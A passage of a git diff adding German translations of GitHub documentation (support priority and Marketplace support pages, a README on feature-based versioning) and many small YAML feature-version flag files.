+| {% data variables.product.support_ticket_priority_high %} | {% data variables.product.prodname_advanced_security %} funktioniert nicht oder bricht ab oder ist stark beeinträchtigt, so dass der Endbenutzer die Software nicht vernünftig nutzen kann und es gibt keine Möglichkeit, das Problem zu umgehen. |
+| {% data variables.product.support_ticket_priority_normal %} | {% data variables.product.prodname_advanced_security %} funktioniert inkonsistent, was die Nutzung und Produktivität für den Endbenutzer beeinträchtigt. |
+| {% data variables.product.support_ticket_priority_low %} | {% data variables.product.prodname_advanced_security %} funktioniert beständig, aber der Endbenutzer bittet um geringfügige Änderungen in der Software, wie z.B. Dokumentationsaktualisierungen, Behebung kosmetischer Fehler oder Erweiterungen.|
+
+{% elsif ghae %} {% data reusables.support.ghae-priorities %} {% endif %}
+
+{% elsif ghec %}
+
+<!-- /github/working-with-github-support/github-enterprise-cloud-support.md -->
+
+{% data reusables.support.zendesk-old-tickets %}
+
+Du kannst Prioritätsfragen einreichen, wenn du {% data variables.product.prodname_ghe_cloud %} gekauft hast oder ein Mitglied, externer Mitarbeiter oder Abrechnungsmanager einer {% data variables.product.prodname_dotcom %}-Organisation bist, die aktuell {% data variables.product.prodname_ghe_cloud %} abonniert hat.
+
+Fragen, die für Prioritätsantworten qualifiziert sind:
+- Fragen, die sich darauf beziehen, dass du nicht auf die zentrale Funktion zur Versionskontrolle von {% data variables.product.prodname_dotcom %} zugreifen oder sie nicht nutzen kannst
+- Fragen in Zusammenhang mit der Sicherheit deines Kontos
+- Fragen zu peripheren Diensten und Funktionen sind nicht abgedeckt, z. B. Fragen zu Gists, {% data variables.product.prodname_pages %} oder E-Mail-Benachrichtigungen
+- Fragen ausschließlich zu Organisationen, die aktuell {% data variables.product.prodname_ghe_cloud %} verwenden
+
+Damit du Dich für eine Prioritätsantwort qualifizierst, musst du folgende Voraussetzungen erfüllen:
+- Du reichst deine Frage an den [{% data variables.contact.enterprise_support %}](https://support.github.com/contact?tags=docs-generic) über eine verifizierte E-Mail-Adresse ein, die mit einer Organisation verknüpft ist, die {% data variables.product.prodname_ghe_cloud %} aktuell verwendet.
+- Du reichst bei jeder einzelnen Prioritätssituation ein neues Supportticket ein
+- Du reichst deine Frage von Montag bis Freitag in deiner lokalen Zeitzone ein
+- Du weißt, dass du die Antwort auf eine Prioritätsanfrage per E-Mail erhältst
+- Du arbeitest mit {% data variables.contact.github_support %} zusammen und stellst sämtliche Informationen bereit, um die dich {% data variables.contact.github_support %} bittet.
+
+{% note %}
+
+**Hinweis:** Fragen, die an einem lokalen Feiertag in deiner Region eingereicht werden, sind nicht für eine Prioritätsantwort qualifiziert.
+
+{% endnote %}
+
+Für die angestrebte Reaktionszeit von acht Stunden gilt:
+- Sie beginnt zu dem Zeitpunkt, zu dem deine qualifizierte Frage bei {% data variables.contact.github_support %} eingeht.
+- Sie beginnt erst, wenn du ausreichend Informationen bereitgestellt hast, damit die Frage beantwortet werden kann, es sei denn, du gibst explizit an, dass dir nicht genügend Informationen vorliegen.
+- Sie gilt nicht an Wochenenden in deiner lokalen Zeitzone oder an lokalen Feiertagen in deiner Region.
+
+{% note %}
+
+**Hinweis:** {% data variables.contact.github_support %} garantiert keine Lösung für deine Prioritätsanfrage. {% data variables.contact.github_support %} kann Issues auf einen anderen Prioritätsfragen-Status hoch- oder herabstufen, basierend auf unserer vernünftigen Bewertung der von Ihnen bereitgestellten Informationen.
+
+{% endnote %}
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Erstellen eines Supporttickets](/support/contacting-github-support/creating-a-support-ticket)
diff --git a/translations/de-DE/content/support/learning-about-github-support/github-marketplace-support.md b/translations/de-DE/content/support/learning-about-github-support/github-marketplace-support.md
new file mode 100644
index 0000000000..561522fb53
--- /dev/null
+++ b/translations/de-DE/content/support/learning-about-github-support/github-marketplace-support.md
@@ -0,0 +1,33 @@
+---
+title: GitHub Marketplace-Support
+intro: 'Wenn bei der Verwendung einer App in {% data variables.product.prodname_marketplace %} Probleme auftreten, kannst du dich an das Supportteam für die App wenden.'
+shortTitle: Marketplace support
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /articles/github-marketplace-support
+  - /github/working-with-github-support/github-marketplace-support
+topics:
+  - Support
+ms.openlocfilehash: 84f6df6a4f56349f301ea7d6e18ce8247e71ab39
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145134153'
+---
+## App-Anbieter um Unterstützung bitten
+
+Jede App von {% data variables.product.prodname_marketplace %} umfasst einen Link, über den du das zugehörige Supportteam erreichen kannst.
+
+{% data reusables.marketplace.visit-marketplace %}
+2. Rufe die Seite deiner App auf.
+3. Klicke auf der linken Randleiste unter „Entwicklertools“ auf **Support**.
+4. Befolge die Anweisungen auf der Supportseite der App, um das zuständige Supportteam zu kontaktieren.
+
+## Weitere Informationsquellen
+
+- [Informationen zum {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace)
+- [Kaufen und Installieren von Apps in {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace)
+- [Verwalten der Abrechnung für {% data variables.product.prodname_marketplace %}-Apps](/articles/managing-billing-for-github-marketplace-apps)
diff --git a/translations/de-DE/content/support/learning-about-github-support/index.md b/translations/de-DE/content/support/learning-about-github-support/index.md
new file mode 100644
index 0000000000..281462f2ea
--- /dev/null
+++ b/translations/de-DE/content/support/learning-about-github-support/index.md
@@ -0,0 +1,25 @@
+---
+title: Informationen zum GitHub-Support
+shortTitle: About GitHub Support
+intro: 'Weitere Informationen zum Kontakt mit dem {% data variables.contact.github_support %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+redirect_from:
+  - /enterprise/admin/enterprise-support/overview
+  - /admin/enterprise-support/overview
+children:
+  - about-github-support
+  - about-github-premium-support
+  - about-ticket-priority
+  - github-marketplace-support
+ms.openlocfilehash: 9173034958f4c1703f67a24a95291e473c41f5f9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145134150'
+---
+
diff --git a/translations/de-DE/data/features/GH-advisory-db-erlang-support.yml b/translations/de-DE/data/features/GH-advisory-db-erlang-support.yml
new file mode 100644
index 0000000000..6275d10788
--- /dev/null
+++ b/translations/de-DE/data/features/GH-advisory-db-erlang-support.yml
@@ -0,0 +1,7 @@
+# Reference: Issue #6207.
+# We have added support for Elixir advisories to the Advisory Database.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-6207'
diff --git a/translations/de-DE/data/features/GH-advisory-db-supports-malware.yml b/translations/de-DE/data/features/GH-advisory-db-supports-malware.yml
new file mode 100644
index 0000000000..6283037ef5
--- /dev/null
+++ b/translations/de-DE/data/features/GH-advisory-db-supports-malware.yml
@@ -0,0 +1,6 @@
+# Reference: Issue #7088 GitHub Advisory Database now supports advisories for malware
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.5'
+  ghae: 'issue-7088'
diff --git a/translations/de-DE/data/features/README.md b/translations/de-DE/data/features/README.md
new file mode 100644
index 0000000000..e2794abe4d
--- /dev/null
+++ b/translations/de-DE/data/features/README.md
@@ -0,0 +1,53 @@
+---
+ms.openlocfilehash: 3e44864fd82617c799cc4af8a3ab31b9279ed950
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879156"
+---
+## Featurebasierte Versionsverwaltung
+
+Die featurebasierte Versionsverwaltung ermöglicht es uns, die Versionen eines willkürlich benannten „Features“ an einem Ort zu definieren und zu steuern.
+
+**Hinweis**: Lösche `data/features/placeholder.yml` nicht, weil sie von Tests verwendet wird.
+
+## Funktionsweise
+
+Füge eine neue YAML-Datei mit dem Featurenamen hinzu, den du in diesem Verzeichnis verwenden möchtest. Für ein Feature mit dem Namen `meow` wäre das `data/features/meow.yml`.
+
+Füge der YML-Datei einen Block `versions` hinzu, in dem die Kurznamen der Versionen verfügbar sind, in der das Feature verfügbar ist. Beispiel:
+
+```yaml
+versions:
+  fpt: '*'
+  ghes: '>3.1'
+  ghae: '*'
+```
+
+Das Format und die zulässigen Werte entsprechen der [Frontmatter-Versionseigenschaft](/content#versions).
+
+### Flüssigkeitsbedingte Bedingungen
+
+Jetzt kannst du `{% ifversion meow %} ... {% endif %}` in Inhaltsdateien verwenden!
+
+### Frontmatter
+
+Du kannst das Feature auch im Frontmatter in Inhaltsdateien verwenden:
+
+```yaml
+versions:
+  fpt: '*'
+  ghes: '>3.1'
+  feature: 'meow'
+```
+
+Du kannst nicht mehrere gleichzeitige Versionen mit `feature:` angeben, da dies nicht unterstützt wird. Alternativ kannst du eine neue featurebasierte Versionierungsdatei mit der erforderlichen Versionierung erstellen.
+
+## Schemaerzwingung
+
+Das Schema zum Überprüfen der Featureversionsverwaltung befindet sich in [`tests/helpers/schemas/feature-versions-schema.js`](/tests/helpers/schemas/feature-versions-schema.js) und wird ausgeübt von [`tests/linting/lint-versioning.js`](/tests/linting/lint-versioning.js).
+
+## Skript zum Entfernen von Featuretags
+
+Noch nicht festgelegt!
diff --git a/translations/de-DE/data/features/actions-cache-list-delete-apis.yml b/translations/de-DE/data/features/actions-cache-list-delete-apis.yml
new file mode 100644
index 0000000000..208d5484a5
--- /dev/null
+++ b/translations/de-DE/data/features/actions-cache-list-delete-apis.yml
@@ -0,0 +1,8 @@
+# Reference: #7340
+# Extends actions-cache-management.yml (Issue #6154)
+# Documentation for Actions cache list and delete APIs
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '> 3,6'
+  ghae: 'issue-7340'
diff --git a/translations/de-DE/data/features/actions-cache-management.yml b/translations/de-DE/data/features/actions-cache-management.yml
new file mode 100644
index 0000000000..81ba67a714
--- /dev/null
+++ b/translations/de-DE/data/features/actions-cache-management.yml
@@ -0,0 +1,7 @@
+# Reference: #6154
+# Documentation for Actions cache management APIs (initial ship)
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '3.4 und höher'
+  ghae: 'issue-6154'
diff --git a/translations/de-DE/data/features/actions-cache-policy-apis.yml b/translations/de-DE/data/features/actions-cache-policy-apis.yml
new file mode 100644
index 0000000000..d8c4279330
--- /dev/null
+++ b/translations/de-DE/data/features/actions-cache-policy-apis.yml
@@ -0,0 +1,5 @@
+# Reference: #6456
+# APIs to set default and max cache sizes. Only for GHES.
+versions:
+  ghes: '>=3.5'
+  ghae: 'issue-6456'
diff --git a/translations/de-DE/data/features/actions-caching.yml b/translations/de-DE/data/features/actions-caching.yml
new file mode 100644
index 0000000000..b2da42f90e
--- /dev/null
+++ b/translations/de-DE/data/features/actions-caching.yml
@@ -0,0 +1,7 @@
+# Reference: #6456
+# General versioning for caching feature for Actions, newly added to GHES in 3.5
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-6456'
diff --git a/translations/de-DE/data/features/actions-hosted-runners.yml b/translations/de-DE/data/features/actions-hosted-runners.yml
new file mode 100644
index 0000000000..d7b08dee74
--- /dev/null
+++ b/translations/de-DE/data/features/actions-hosted-runners.yml
@@ -0,0 +1,5 @@
+# Reference: #6458
+# Larger GitHub-hosted runners
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/actions-inherit-secrets-reusable-workflows.yml b/translations/de-DE/data/features/actions-inherit-secrets-reusable-workflows.yml
new file mode 100644
index 0000000000..88a59e0411
--- /dev/null
+++ b/translations/de-DE/data/features/actions-inherit-secrets-reusable-workflows.yml
@@ -0,0 +1,7 @@
+# Reference: #6920
+# Documentation for inheriting secrets from the calling workflow
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>= 3,6'
+  ghae: 'issue-6920'
diff --git a/translations/de-DE/data/features/actions-job-summaries.yml b/translations/de-DE/data/features/actions-job-summaries.yml
new file mode 100644
index 0000000000..b88d25ac6e
--- /dev/null
+++ b/translations/de-DE/data/features/actions-job-summaries.yml
@@ -0,0 +1,7 @@
+# Reference: #6405
+# Documentation for job summaries for jobs on the workflow run summary page.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,5'
+  ghae: 'issue-6405'
diff --git a/translations/de-DE/data/features/actions-node16-action.yml b/translations/de-DE/data/features/actions-node16-action.yml
new file mode 100644
index 0000000000..e85c758fc2
--- /dev/null
+++ b/translations/de-DE/data/features/actions-node16-action.yml
@@ -0,0 +1,7 @@
+# Reference: #6447
+# Versions of actions used in workflows have been updated to their Node 16 version.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-6447'
diff --git a/translations/de-DE/data/features/actions-oidc-hardening-config.yml b/translations/de-DE/data/features/actions-oidc-hardening-config.yml
new file mode 100644
index 0000000000..9018d805f7
--- /dev/null
+++ b/translations/de-DE/data/features/actions-oidc-hardening-config.yml
@@ -0,0 +1,6 @@
+# Reference: #7336
+# General versioning for oidc hardening options
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
diff --git a/translations/de-DE/data/features/actions-reusable-workflow-matrix.yml b/translations/de-DE/data/features/actions-reusable-workflow-matrix.yml
new file mode 100644
index 0000000000..802e008148
--- /dev/null
+++ b/translations/de-DE/data/features/actions-reusable-workflow-matrix.yml
@@ -0,0 +1,7 @@
+# Reference: #7094
+# Documentation for allowing matrix jobs to call reusable workflows.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-7094'
diff --git a/translations/de-DE/data/features/actions-runner-arch-envvars.yml b/translations/de-DE/data/features/actions-runner-arch-envvars.yml
new file mode 100644
index 0000000000..0691aef2dd
--- /dev/null
+++ b/translations/de-DE/data/features/actions-runner-arch-envvars.yml
@@ -0,0 +1,7 @@
+# Reference: #5727
+# Documentation for new runner 'arch' environment variables set by the `runner` app.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.4'
+  ghae: 'issue-5727'
diff --git a/translations/de-DE/data/features/actions-stable-actor-ids.yml b/translations/de-DE/data/features/actions-stable-actor-ids.yml
new file mode 100644
index 0000000000..14ab57db8e
--- /dev/null
+++ b/translations/de-DE/data/features/actions-stable-actor-ids.yml
@@ -0,0 +1,7 @@
+# Issue 7387
+# Differentiating triggering actor from executing actor
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.7'
+  ghae: 'issue-7387'
diff --git a/translations/de-DE/data/features/actions-starter-template-ui.yml b/translations/de-DE/data/features/actions-starter-template-ui.yml
new file mode 100644
index 0000000000..998a735e20
--- /dev/null
+++ b/translations/de-DE/data/features/actions-starter-template-ui.yml
@@ -0,0 +1,7 @@
+# Reference: #5169.
+# Documentation for the Actions starter template UI updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,4'
+  ghae: 'issue-5169'
diff --git a/translations/de-DE/data/features/actions-unified-inputs.yml b/translations/de-DE/data/features/actions-unified-inputs.yml
new file mode 100644
index 0000000000..6e88b11ede
--- /dev/null
+++ b/translations/de-DE/data/features/actions-unified-inputs.yml
@@ -0,0 +1,6 @@
+# Issue 6921
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,6'
+  ghae: 'issue-6921'
diff --git a/translations/de-DE/data/features/actions-workflow-policy.yml b/translations/de-DE/data/features/actions-workflow-policy.yml
new file mode 100644
index 0000000000..3801888ae6
--- /dev/null
+++ b/translations/de-DE/data/features/actions-workflow-policy.yml
@@ -0,0 +1,5 @@
+# Reference: #6478.
+# Versioning for enterprise/org/repo policy settings for reusable workflow use.
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/allow-actions-to-approve-pr-with-ent-repo.yml b/translations/de-DE/data/features/allow-actions-to-approve-pr-with-ent-repo.yml
new file mode 100644
index 0000000000..054654f95d
--- /dev/null
+++ b/translations/de-DE/data/features/allow-actions-to-approve-pr-with-ent-repo.yml
@@ -0,0 +1,7 @@
+# Reference: #6926.
+# Versioning for enterprise/repository policy settings for workflow PR creation or approval permission. This is only the enterprise and repo settings! For the previous separate ship for the org setting (that only overed approvals), see the allow-actions-to-approve-pr flag.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-6926'
diff --git a/translations/de-DE/data/features/allow-actions-to-approve-pr.yml b/translations/de-DE/data/features/allow-actions-to-approve-pr.yml
new file mode 100644
index 0000000000..5243527c08
--- /dev/null
+++ b/translations/de-DE/data/features/allow-actions-to-approve-pr.yml
@@ -0,0 +1,7 @@
+# Reference: #6926.
+# Versioning for org policy settings for workflow PR approval permission. This is only org setting! For the later separate ship for the enterprise and repo setting, see the allow-actions-to-approve-pr-with-ent-repo flag.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,5'
+  ghae: 'issue-6926'
diff --git a/translations/de-DE/data/features/audit-data-retention-tab.yml b/translations/de-DE/data/features/audit-data-retention-tab.yml
new file mode 100644
index 0000000000..ae60adc527
--- /dev/null
+++ b/translations/de-DE/data/features/audit-data-retention-tab.yml
@@ -0,0 +1,5 @@
+# Reference #5104
+# Documentation for the "Audit data retention" tab in the enterprise audit log
+versions:
+  ghes: '>=3.4'
+  ghae: 'issue-5104'
diff --git a/translations/de-DE/data/features/audit-log-sso-response-events.yml b/translations/de-DE/data/features/audit-log-sso-response-events.yml
new file mode 100644
index 0000000000..1428ec1e75
--- /dev/null
+++ b/translations/de-DE/data/features/audit-log-sso-response-events.yml
@@ -0,0 +1,6 @@
+# Documentation for adding business.sso_response and org.sso_repsonse
+
+versions:
+  ghec: '*'
+  ghes: '>=3,8'
+  ghae: 'issue-7939'
diff --git a/translations/de-DE/data/features/audit-log-streaming.yml b/translations/de-DE/data/features/audit-log-streaming.yml
new file mode 100644
index 0000000000..d90c1ecaeb
--- /dev/null
+++ b/translations/de-DE/data/features/audit-log-streaming.yml
@@ -0,0 +1,5 @@
+# Reference: #7055
+# Documentation for audit log streaming
+versions:
+  ghec: '*'
+  ghes: '>= 3.6'
diff --git a/translations/de-DE/data/features/autolink-reference-alphanumeric.yml b/translations/de-DE/data/features/autolink-reference-alphanumeric.yml
new file mode 100644
index 0000000000..b31e4dd668
--- /dev/null
+++ b/translations/de-DE/data/features/autolink-reference-alphanumeric.yml
@@ -0,0 +1,7 @@
+# Reference: #7370.
+# Versioning for autolinks being able to accept alphanumeric chars.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-7370'
diff --git a/translations/de-DE/data/features/blame-ignore-revs.yml b/translations/de-DE/data/features/blame-ignore-revs.yml
new file mode 100644
index 0000000000..f962aa054c
--- /dev/null
+++ b/translations/de-DE/data/features/blame-ignore-revs.yml
@@ -0,0 +1,6 @@
+# Reference: #6378.
+# Documentation for the `.git-blame-ignore-revs` file and the blame view
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.4'
diff --git a/translations/de-DE/data/features/build-pages-with-actions.yml b/translations/de-DE/data/features/build-pages-with-actions.yml
new file mode 100644
index 0000000000..458017e24d
--- /dev/null
+++ b/translations/de-DE/data/features/build-pages-with-actions.yml
@@ -0,0 +1,5 @@
+# Issue 7584
+# Building Pages sites with Actions [GA]
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/bypass-branch-protections.yml b/translations/de-DE/data/features/bypass-branch-protections.yml
new file mode 100644
index 0000000000..8c449f1372
--- /dev/null
+++ b/translations/de-DE/data/features/bypass-branch-protections.yml
@@ -0,0 +1,7 @@
+# Issue: 6667
+# Description: Allow merging pull requests without complying with branch protection rules.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-6667'
diff --git a/translations/de-DE/data/features/classic-project-visibility-permissions-or-projects-v2.yml b/translations/de-DE/data/features/classic-project-visibility-permissions-or-projects-v2.yml
new file mode 100644
index 0000000000..048b23853f
--- /dev/null
+++ b/translations/de-DE/data/features/classic-project-visibility-permissions-or-projects-v2.yml
@@ -0,0 +1,7 @@
+# Issue 7720
+# Organization owners can restrict public classic projects /OR/ Projects V2
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,6'
+  ghae: 'issue-7720'
diff --git a/translations/de-DE/data/features/classic-project-visibility-permissions.yml b/translations/de-DE/data/features/classic-project-visibility-permissions.yml
new file mode 100644
index 0000000000..205bf9cae6
--- /dev/null
+++ b/translations/de-DE/data/features/classic-project-visibility-permissions.yml
@@ -0,0 +1,7 @@
+# Issue 7720
+# Organization owners can restrict public classic projects.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,6'
+  ghae: 'issue-7720'
diff --git a/translations/de-DE/data/features/code-scanning-exclude-queries-from-analysis.yml b/translations/de-DE/data/features/code-scanning-exclude-queries-from-analysis.yml
new file mode 100644
index 0000000000..ac75598c9f
--- /dev/null
+++ b/translations/de-DE/data/features/code-scanning-exclude-queries-from-analysis.yml
@@ -0,0 +1,7 @@
+# Issue 7617
+# Users can easily exclude CodeQL queries from code scanning analyses - [GA]
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,6'
+  ghae: 'issue-7617'
diff --git a/translations/de-DE/data/features/code-scanning-pr-conversations-tab.yml b/translations/de-DE/data/features/code-scanning-pr-conversations-tab.yml
new file mode 100644
index 0000000000..c9a3ff1aa3
--- /dev/null
+++ b/translations/de-DE/data/features/code-scanning-pr-conversations-tab.yml
@@ -0,0 +1,5 @@
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.7'
+  ghae: 'issue-5895'
diff --git a/translations/de-DE/data/features/code-scanning-task-lists.yml b/translations/de-DE/data/features/code-scanning-task-lists.yml
new file mode 100644
index 0000000000..29408f5d1f
--- /dev/null
+++ b/translations/de-DE/data/features/code-scanning-task-lists.yml
@@ -0,0 +1,4 @@
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghae: 'issue-5036'
diff --git a/translations/de-DE/data/features/codeowners-errors.yml b/translations/de-DE/data/features/codeowners-errors.yml
new file mode 100644
index 0000000000..727a4f364a
--- /dev/null
+++ b/translations/de-DE/data/features/codeowners-errors.yml
@@ -0,0 +1,5 @@
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-6078'
diff --git a/translations/de-DE/data/features/codeql-action-debug-logging.yml b/translations/de-DE/data/features/codeql-action-debug-logging.yml
new file mode 100644
index 0000000000..76008d8e4c
--- /dev/null
+++ b/translations/de-DE/data/features/codeql-action-debug-logging.yml
@@ -0,0 +1,7 @@
+# Reference: Issue #2499 in the codeql-core repository, and issue #7626 in the docs-content repository
+# We have added one-click re-running in debug mode for code scanning CodeQL.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.6'
+  ghae: 'issue-7626'
diff --git a/translations/de-DE/data/features/codeql-ml-queries.yml b/translations/de-DE/data/features/codeql-ml-queries.yml
new file mode 100644
index 0000000000..75942fdae8
--- /dev/null
+++ b/translations/de-DE/data/features/codeql-ml-queries.yml
@@ -0,0 +1,6 @@
+# Reference: #5604.
+# Documentation for the beta release of CodeQL queries boosted by machine learning
+# to generate experiemental alerts in code scanning.
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/codeql-packs.yml b/translations/de-DE/data/features/codeql-packs.yml
new file mode 100644
index 0000000000..368d28bd7b
--- /dev/null
+++ b/translations/de-DE/data/features/codeql-packs.yml
@@ -0,0 +1,5 @@
+# Reference: #4702.
+# Documentation for the CodeQL package manager and CodeQL packs.
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/codeql-runner-supported.yml b/translations/de-DE/data/features/codeql-runner-supported.yml
new file mode 100644
index 0000000000..a069dc960e
--- /dev/null
+++ b/translations/de-DE/data/features/codeql-runner-supported.yml
@@ -0,0 +1,5 @@
+# Tracking deprecation of CodeQL runner
+# https://github.blog/changelog/2022-04-05-codeql-runner-is-now-deprecated/
+
+versions:
+  ghes: '<=3,3'
diff --git a/translations/de-DE/data/features/command-palette.yml b/translations/de-DE/data/features/command-palette.yml
new file mode 100644
index 0000000000..c6f6f4efee
--- /dev/null
+++ b/translations/de-DE/data/features/command-palette.yml
@@ -0,0 +1,5 @@
+# Reference: #5199.
+# Documentation for the Command palette.
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/comment-dismissed-code-scanning-alert.yml b/translations/de-DE/data/features/comment-dismissed-code-scanning-alert.yml
new file mode 100644
index 0000000000..2aba7b4d97
--- /dev/null
+++ b/translations/de-DE/data/features/comment-dismissed-code-scanning-alert.yml
@@ -0,0 +1,5 @@
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-2191'
diff --git a/translations/de-DE/data/features/commit-signoffs.yml b/translations/de-DE/data/features/commit-signoffs.yml
new file mode 100644
index 0000000000..d613eb3fd3
--- /dev/null
+++ b/translations/de-DE/data/features/commit-signoffs.yml
@@ -0,0 +1,5 @@
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,6'
+  ghae: 'issue-6049'
diff --git a/translations/de-DE/data/features/commit-tree-view.yml b/translations/de-DE/data/features/commit-tree-view.yml
new file mode 100644
index 0000000000..9924d4df4b
--- /dev/null
+++ b/translations/de-DE/data/features/commit-tree-view.yml
@@ -0,0 +1,7 @@
+# Issue 6662
+# Commit file tree view
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,6'
+  ghae: 'issue-6662'
diff --git a/translations/de-DE/data/features/container-hooks.yml b/translations/de-DE/data/features/container-hooks.yml
new file mode 100644
index 0000000000..ce41466721
--- /dev/null
+++ b/translations/de-DE/data/features/container-hooks.yml
@@ -0,0 +1,6 @@
+# Reference: #7070
+# Actions Runner Container Hooks
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghae: 'issue-7070'
diff --git a/translations/de-DE/data/features/copilot.yml b/translations/de-DE/data/features/copilot.yml
new file mode 100644
index 0000000000..14ba8f5e2d
--- /dev/null
+++ b/translations/de-DE/data/features/copilot.yml
@@ -0,0 +1,3 @@
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/create-branch-from-overview.yml b/translations/de-DE/data/features/create-branch-from-overview.yml
new file mode 100644
index 0000000000..e09f4e961c
--- /dev/null
+++ b/translations/de-DE/data/features/create-branch-from-overview.yml
@@ -0,0 +1,5 @@
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-6670'
diff --git a/translations/de-DE/data/features/custom-pattern-dry-run-ga.yml b/translations/de-DE/data/features/custom-pattern-dry-run-ga.yml
new file mode 100644
index 0000000000..1533fe096d
--- /dev/null
+++ b/translations/de-DE/data/features/custom-pattern-dry-run-ga.yml
@@ -0,0 +1,5 @@
+# Secret scanning: custom pattern dry run GA #7527
+versions:
+  ghec: '*'
+  ghes: '>3.6'
+  ghae: 'issue-7527'
diff --git a/translations/de-DE/data/features/custom-repository-roles.yml b/translations/de-DE/data/features/custom-repository-roles.yml
new file mode 100644
index 0000000000..d2c3b5c883
--- /dev/null
+++ b/translations/de-DE/data/features/custom-repository-roles.yml
@@ -0,0 +1,4 @@
+versions:
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-6271'
diff --git a/translations/de-DE/data/features/debug-reruns.yml b/translations/de-DE/data/features/debug-reruns.yml
new file mode 100644
index 0000000000..320c5e6a88
--- /dev/null
+++ b/translations/de-DE/data/features/debug-reruns.yml
@@ -0,0 +1,7 @@
+# Issue 6629
+# Enabling debug logging when re-running jobs or workflows
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-6629'
diff --git a/translations/de-DE/data/features/default-merge-squash-commit-message.yml b/translations/de-DE/data/features/default-merge-squash-commit-message.yml
new file mode 100644
index 0000000000..512e321d52
--- /dev/null
+++ b/translations/de-DE/data/features/default-merge-squash-commit-message.yml
@@ -0,0 +1,7 @@
+# Reference: issue #7597
+# Admin can control default PR merge/ squash commit messages
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-7597'
diff --git a/translations/de-DE/data/features/delete-code-scanning-alerts.yml b/translations/de-DE/data/features/delete-code-scanning-alerts.yml
new file mode 100644
index 0000000000..8a836fed97
--- /dev/null
+++ b/translations/de-DE/data/features/delete-code-scanning-alerts.yml
@@ -0,0 +1,5 @@
+# Tracking removing ability to delete code scanning alerts: ghae-issue-6776
+
+versions:
+  ghae: '*'
+  ghes: '<3.6'
diff --git a/translations/de-DE/data/features/dependabot-alerts-development-label.yml b/translations/de-DE/data/features/dependabot-alerts-development-label.yml
new file mode 100644
index 0000000000..6ebf9611d3
--- /dev/null
+++ b/translations/de-DE/data/features/dependabot-alerts-development-label.yml
@@ -0,0 +1,7 @@
+# Reference: Issue #6631 - Dependabot alerts: surface information about development dependencies - [GA]
+
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.6'
+  ghae: 'issue-6631'
diff --git a/translations/de-DE/data/features/dependabot-alerts-dismissal-comment.yml b/translations/de-DE/data/features/dependabot-alerts-dismissal-comment.yml
new file mode 100644
index 0000000000..911a1bfdce
--- /dev/null
+++ b/translations/de-DE/data/features/dependabot-alerts-dismissal-comment.yml
@@ -0,0 +1,7 @@
+# Reference: Issue #7673 - Dependabot alerts: optional comment with dismissal - [GA]
+
+versions:
